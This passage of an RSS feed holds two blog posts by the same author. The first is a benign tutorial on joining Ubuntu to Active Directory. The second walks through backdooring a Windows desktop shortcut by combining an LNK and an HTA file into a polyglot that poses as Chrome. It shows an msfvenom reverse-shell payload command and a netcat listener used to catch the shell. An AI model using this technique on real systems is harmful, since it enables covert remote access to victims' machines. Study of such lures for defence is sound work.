href="https://osintteam.blog/use-vscode-like-c2-red-team-style-9418da7b682f">Use VSCode like C2 - Red Team Style</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Join Linux to Active Directory]]></title>
            <link>https://osintteam.blog/join-linux-to-active-directory-443831353b2b?source=rss-e00a72c6a6cb------2</link>
            <guid isPermaLink="false">https://medium.com/p/443831353b2b</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[ubuntu]]></category>
            <dc:creator><![CDATA[Yusif Yagubzade]]></dc:creator>
            <pubDate>Fri, 17 Jan 2025 00:29:33 GMT</pubDate>
            <atom:updated>2025-01-18T02:01:58.525Z</atom:updated>
            <content:encoded><![CDATA[<p>Today we will take a look at How to add Linux more specifically Ubuntu to an Active Directroy Domain My goal in sharing this article is to show you the way if you are in trouble. Please try to understand each step and take notes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/0*F7Rg-dbbUPas_GTe" /></figure><p>Before we start lets look at what is an Active Directory. Active Directory (AD) is a directory service developed by Microsoft for Windows domain networks. It is designed to handle centralized domain management, authentication, and authorization of users and resources in a network.</p><p>AD provides a centralized platform for managing user accounts, groups, computers, and other resources within a network. This allows administrators to efficiently control and monitor access to network resources, authenticates users and computers in a Windows domain network, ensuring they have the appropriate permissions to access resources. This enhances security by verifying identities and managing access control. AD uses a hierarchical structure to organize data into objects like users, computers, and groups. These objects are stored in containers and Organizational Units (OUs), making it easier to manage and delegate administrative tasks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nSOYE--D1yMK9FwV.jpg" /></figure><p>I use Windows server 2019 and already have Active directory configured, First we go <strong>Tools</strong>then <strong>Active Directory Users and Computers </strong>and create new Organization Unit (OU).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3H2vcrpl1eE-xaEI7cd5HA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1T4Vfpt_qBJehMkBhGg63Q.png" /></figure><p>After the Creation of new OU add Computer and Users, then create a <strong>new Domain User account. </strong>You can give any name you want it up to your imaginations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*FaWSiGlQC02jqRcuaY0CIw.png" /></figure><p>This part is Optional but in Real Infrastructures use this option to make system more secure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*in5L9r4-YMZP9kA4sLHDjQ.png" /></figure><p>And Now our Domain user account complete make sure to remeber this credential and Login name we use it in next steps.`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*n7ooKJzbhVUkd6L_-Pumlw.png" /></figure><p>Now to the Challenging part Configurating Linux, in this task I use Ubuntu 24.04.1 LTS but you can use other versions of ubuntu as well. <strong>Follow this steps in exact order.</strong> In terminal we changing the Ubuntu’s hostname maching to Our AD Domain address</p><pre>phatom@GhostF21~$ sudo hostnamectl set-hostname &#39;Username&#39;.&#39;Domain-name&#39;.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qWwwFfDEPcjKMU418PzVDw.png" /></figure><p>Now we going to give Static Ip address to our Ubuntu machine and Change DNS ip with Our Windows servers or Domain Ip address</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uIyiPKo36xPIpD37jq1iSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*YIOTgDwQn0iPZBAH0MqSVQ.png" /></figure><p>In Linux we need to install some tools in order to Add linux to our Active directory. <strong>Install all of this tools in system.</strong></p><pre>root@GhostF21:/home/pahntom# sudo apt -y install realmd libnss-sss libpam-sss sssd sssd-tools adcli samba-common-bin oddjob oddjob-mkhomedir packagekit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P2YQE7o3d3K1cHQs092cGg.png" /></figure><p>Now we edit /etc/hosts file to make sure that our Ubuntu See our Domain-Controller for this we add DC IP address ,Domain and Hostname of our Active directory Domain, then configure Linux users Domain computer name.</p><pre>root@GhostF21~$ nano /etc/hosts<br>127.0.1.1 &#39;Ubuntu-hostname&#39;.&#39;domain-name&#39;.local computer-name<br>###Domain Controller<br>&#39;DOMAIN_IPaddress&#39; &#39;Server_computer-name&#39;.&#39;domain-name&#39; Server_computer-name</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l2PMWO2cbExisNsjrrY4Hw.png" /></figure><p>After editing /etc/hosts file go and edit /etc/resolv.conf file to add Domain IP as an DNS nameserver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S-nVxw2M2pI2mC5B7QeCnA.png" /></figure><p>Now We going to install some more tools such as Kerberos tool. For who don’t know what is Kerberos? Kerberos is a network authentication protocol designed to provide secure authentication for client-server applications. Kerberos uses “tickets” to authenticate users and services. When a user logs in, they receive a Ticket Granting Ticket (TGT), which can be used to obtain service tickets for accessing specific services without re-entering their password.</p><ul><li><strong>Key Distribution Center (KDC)</strong>: The central authority in the Kerberos system, responsible for issuing tickets. It consists of two main components:</li><li><strong>Authentication Server (AS)</strong>: Verifies users and issues TGTs.</li><li><strong>Ticket Granting Server (TGS)</strong>: Issues service tickets based on the TGTs.</li></ul><pre>phatom@GhostF21~$ sudo apt install -y sssd-ad sssd-tools realmd adcli krb5-user krb5-kdc krb5-admin-server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZF-A8abILXMYLPCxeuV1mg.png" /></figure><p>After Installing Kerberos tools we need to configure the /etc/krb5.conf file to add our Domain into new Realm, Again for who don’t now what is Realm trust? A <strong>Realm Trust</strong> in Active Directory is a type of trust relationship that allows users in one domain to access resources in another domain, even if the domains are in different forests. Realm Trust enables authentication and resource access across different forests, deal for organizations that need to share resources and collaborate across different forests. In our case we use this to access and share our Domain resources with Ubuntu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wh2_5mcGFn2EkzZAClCrvQ.png" /></figure><p>Check to see our Linux machine sees Our Domain we going to use Realm command.</p><pre>phatom@GhostF21~$ sudo realm -v discover &#39;domain-address&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qPqlVtMwSGcMPQD53uyypw.png" /></figure><p>Now we ensure that Our Ubuntu machine sees our Domain it is time to Join our Linux machine in Active Directory.</p><pre>phatom@GhostF21~$ sudo realm join -U Administrator &#39;Domain-address&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TFa_5AfrYDtk7ieIfe4Eaw.png" /></figure><p>We join Ubuntu machine as a Domain computer but our job is not over yet, we need to configure some services to fully use our Linux as a Domain user. First we configure GPO or Group Policy access to Linux machine to do this we edit /etc/sssd/sssd.conf file and this line</p><pre>root@GhostF21~$ nano /etc/sssd/sssd.conf<br>#Add line<br>ad_gpo_access_control = permissive</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*46YAjRbhzQhRNLjLsVqQ1g.png" /></figure><p>After saving the edited file restart sssd service.</p><pre>phatom@GhostF21~$ sudo systemctl restart sssd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SKP5dOOVK1wuadG5b6BMSw.png" /></figure><p>Lastly we need to configurate PAM, In the context of Active Directory, <strong>Privileged Access Management (PAM)</strong> is a security solution designed to protect organizations from cyber threats by monitoring, detecting, and preventing unauthorized privileged access to critical resources. PAM helps organizations control and monitor the use of privileged accounts, such as Domain Admins, to reduce the risk of credential theft and unauthorized access, PAM can automate the lifecycle of privileged accounts, including account creation, provisioning, and deprovisionin.</p><p>To configurate PAM we need to edit /etc/pam.d/common-session file and this permission line and save file</p><pre>phantom@GhostF21~$ nano /etc/pam.d/common-session<br>#Add this line<br>session required pam_mkhomedir.so skel=/etc/skel/ umask=002</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WVu260g6BqXjnMiGpF-6gQ.png" /></figure><p>And That is it, Now we can Enter our Domain user with Login Credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*M6qOUSidoDIV32UbxLWuFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M4ycggxmQnZSL4MyL-ApkA.png" /></figure><p>I Hope you Enjoyed it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*dfeKPORBbZ9b2cqz.gif" /></figure><p>“If you have any questions or comments, please do not hesitate to write. Have a good days”.</p><p><a href="https://www.linkedin.com/in/yusif-yagubzadeh/">https://www.linkedin.com/in/yusif-yagubzadeh</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=443831353b2b" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/join-linux-to-active-directory-443831353b2b">Join Linux to Active Directory</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Backdooring a Windows Desktop Shortcut]]></title>
            <link>https://osintteam.blog/backdooring-a-windows-desktop-shortcut-e19aa78c9c0b?source=rss-e00a72c6a6cb------2</link>
            <guid isPermaLink="false">https://medium.com/p/e19aa78c9c0b</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[lnk]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[polyglot]]></category>
            <category><![CDATA[backdoor]]></category>
            <dc:creator><![CDATA[Yusif Yagubzade]]></dc:creator>
            <pubDate>Sat, 11 Jan 2025 18:01:26 GMT</pubDate>
            <atom:updated>2025-01-13T14:33:08.534Z</atom:updated>
            <content:encoded><![CDATA[<p>Today we will take a look at How to create a Backdoored Desktop shortcut, using <strong>LNK</strong> ,<strong>HTA</strong> and <strong>Polyglot </strong>file. My purpose in sharing this post is for <strong>Educational purposes only</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*nSOOaBB7-Zy_HTnf.jpg" /></figure><p>Firstly, What are LNK files. <strong>LNK file</strong> (short for “link”) is a Windows shortcut file. It’s used to point to and open another file, folder, or application. When you double-click an LNK file, it opens the target file just as if you had double-clicked the actual file. LNK files contain metadata about the target object, such as its location, type, and filename. They typically have the same icon as the target file, with a small arrow indicating it’s a shortcut. We also use for Basic Code Execution such as Batch script to Stage Malware, but there is a catch shortcut file has character limit for commad or program that you want to run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*41Th3m8epKTd0zDz.jpg" /></figure><p>Thus, We will going to use <strong>Polyglot file</strong>, a polyglot file is a file that is valid in multiple formats. This means it can be interpreted correctly by different programs or systems as different types of files. For example, a polyglot file might be both a valid JPEG image and a valid PHP script. Polyglot files can be used for compatibility purposes but also pose security risks, as they can be used to bypass file type restrictions and potentially execute malicious code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OdPsyv_MStDRgy_f" /></figure><p>Now we now Know what are LNK and Polyglot files. Lets go to the Fun part practical usage and Creation of Backdoor. I use Windows 10 Pro version but you can use it on Windows 11 as well, method works on both systems.</p><p>First step is Creating a new Shortcut file as an application I use Chrome but you can use different applications, and add chrome.exe path to shortcut location then name this shortcut as <strong>Blueprint.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HO0W1ZMbO-Pc1DHySLS5nQ.png" /></figure><pre>#Default Path of Chrome.exe<br>C:\ProgramFiles\Google\Chrome\Application\chrome.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VBmVCGDkLdmDTtlavhW8hg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*Z5shtBlwLywjDY_6l-ZQJQ.png" /></figure><p>Now We Have Blueprint.lnk, This is our First Step for Polyglot file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*5KP0Xq5ALC-HlieU3APYSg.png" /></figure><p>Next To the Second Step we are going to use HTA format, HTA file, or <strong>HTML Application file</strong>, is a type of file used by Microsoft Windows. It combines HTML, Dynamic HTML (DHTML), and scripting languages like VBScript or JScript to create a program that can run outside of a web browser. HTA files have the .hta file extension and are executed using the mshta.exe program. I write a simple HTA code in notepad and save as <strong>Code.hta </strong>when you run this code it show popup message</p><pre>#HTA code for test save file as .hta<br>&lt;hta:application windowstate=&quot;minimize&quot;&gt;<br>&lt;script language=&quot;VBScript&quot;&gt;<br>MsgBox &quot;Polyglot step 2 HTA!!&quot;<br>Close<br>&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F3uc8M_3p-bxFJVx6VUhGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*pnLihlaHjeoKe--j-eywow.png" /></figure><p>Now we need to modify Blueprint.lnk file to and make it to run itself, because when we combine this two files as a <strong>new Polyglot </strong>file this file need to execute both blueprint.lnk and Code.hta at the same time. In Blueprint.lnk properties we <strong>Change Target </strong>and <strong>Start in</strong> Paths</p><pre>##Change Blueprint lnk file properties<br>cmd /c mshta %CD%\Chrome.lnk<br><br>##Change Start in User&#39;s Desktop Path<br>C:\Users\&#39;username&#39;\Desktop</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pWO5zQxn2WMd3FEe9-LUuQ.png" /></figure><p>After we modify Paths Change Icon and Use chrome.exe path that we previously use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Tb2-r7dhLaDh0BzCD88XA.png" /></figure><p>Now It is time to create our Test Polyglot file to do this we use Command Prompt to Combine <strong>Blueprint.lnk</strong> and <strong>Code.hta</strong> file as new <strong>Chrome.lnk</strong> file.</p><pre># Change Directory to Desktop <br>C:\Users\Phantom\Desktop&gt;copy /b C:\Users\Phantom\Desktop\Blueprint.lnk+Code.hta Chrome.lnk</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xI8z5eS0tBtQ7p2BK2o7wQ.png" /></figure><p>When you execute Chrome.lnk file the same popup message will shows up again if you do the steps correctly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*pnLihlaHjeoKe--j-eywow.png" /></figure><p>Now The FUN part We are going to get <strong>Reverse-shell </strong>through Shortcut file.</p><p>First I edit Code.hta content for Reverse shell then I use MSF vbs simple reverse-shell script and add it in Code.hta file</p><p><strong>Metasploit payload.</strong></p><pre>┌──(root㉿Ghost0xFF)-[/home/kali]<br>└─# msfvenom -p windows/shell_reverse_tcp LHOST=&#39;Local-IP&#39; LPORT=443 -f vbs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q-W2JPesW8gzwKFvE6rdhw.png" /></figure><p><strong>Modified Code.hta File content.</strong></p><pre>#Edit Code.hta file<br>&lt;hta:application windowstate=&quot;minimize&quot;&gt;<br>&lt;script language=&quot;VBScript&quot;&gt;<br>###msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -f vbs<br>###remove 2 line and add false<br><br>Set shell = CreateObject(&quot;WScript.Shell&quot;)<br>shell.Run &quot;&quot;&quot;C:\Program Files\Google\Chrome\Application\chrome.exe&quot;&quot;&quot;, 0, False<br><br>Close<br><br>&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TVAm2T0ly9smM5S_qr5nwg.png" /></figure><p>Again I use CMD to update Chrome.lnk file.</p><pre># Change Directory to Desktop <br>C:\Users\Phantom\Desktop&gt;copy /b C:\Users\Phantom\Desktop\Blueprint.lnk+Code.ht Chrome.lnk</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rZbsTqn-9nDhepoHyuwgdA.png" /></figure><p>Set Up a Netcat Listener in Kali-machine.</p><pre>┌──(root㉿Ghost0xFF)-[/home/kali]<br>└─#rlwrap nc -lvnp 443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*lOG3PE_Eqyz01nASwQq6dQ.png" /></figure><p>And That is it when you Click on Chrome.lnk google run and the same time we get a System shell on Our Kali Machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JQx6aq7baxqgxIMx_xCNzA.png" /></figure><p>I Hope you Enjoyed it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*ZSylf4R--b-hpUpy.gif" /></figure><p>“If you have any questions or comments, please do not hesitate to write. Have a good days”</p><p><a href="https://www.linkedin.com/in/yusif-yagubzadeh/">https://www.linkedin.com/in/yusif-yagubzadeh/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e19aa78c9c0b" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/backdooring-a-windows-desktop-shortcut-e19aa78c9c0b">Backdooring a Windows Desktop Shortcut</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>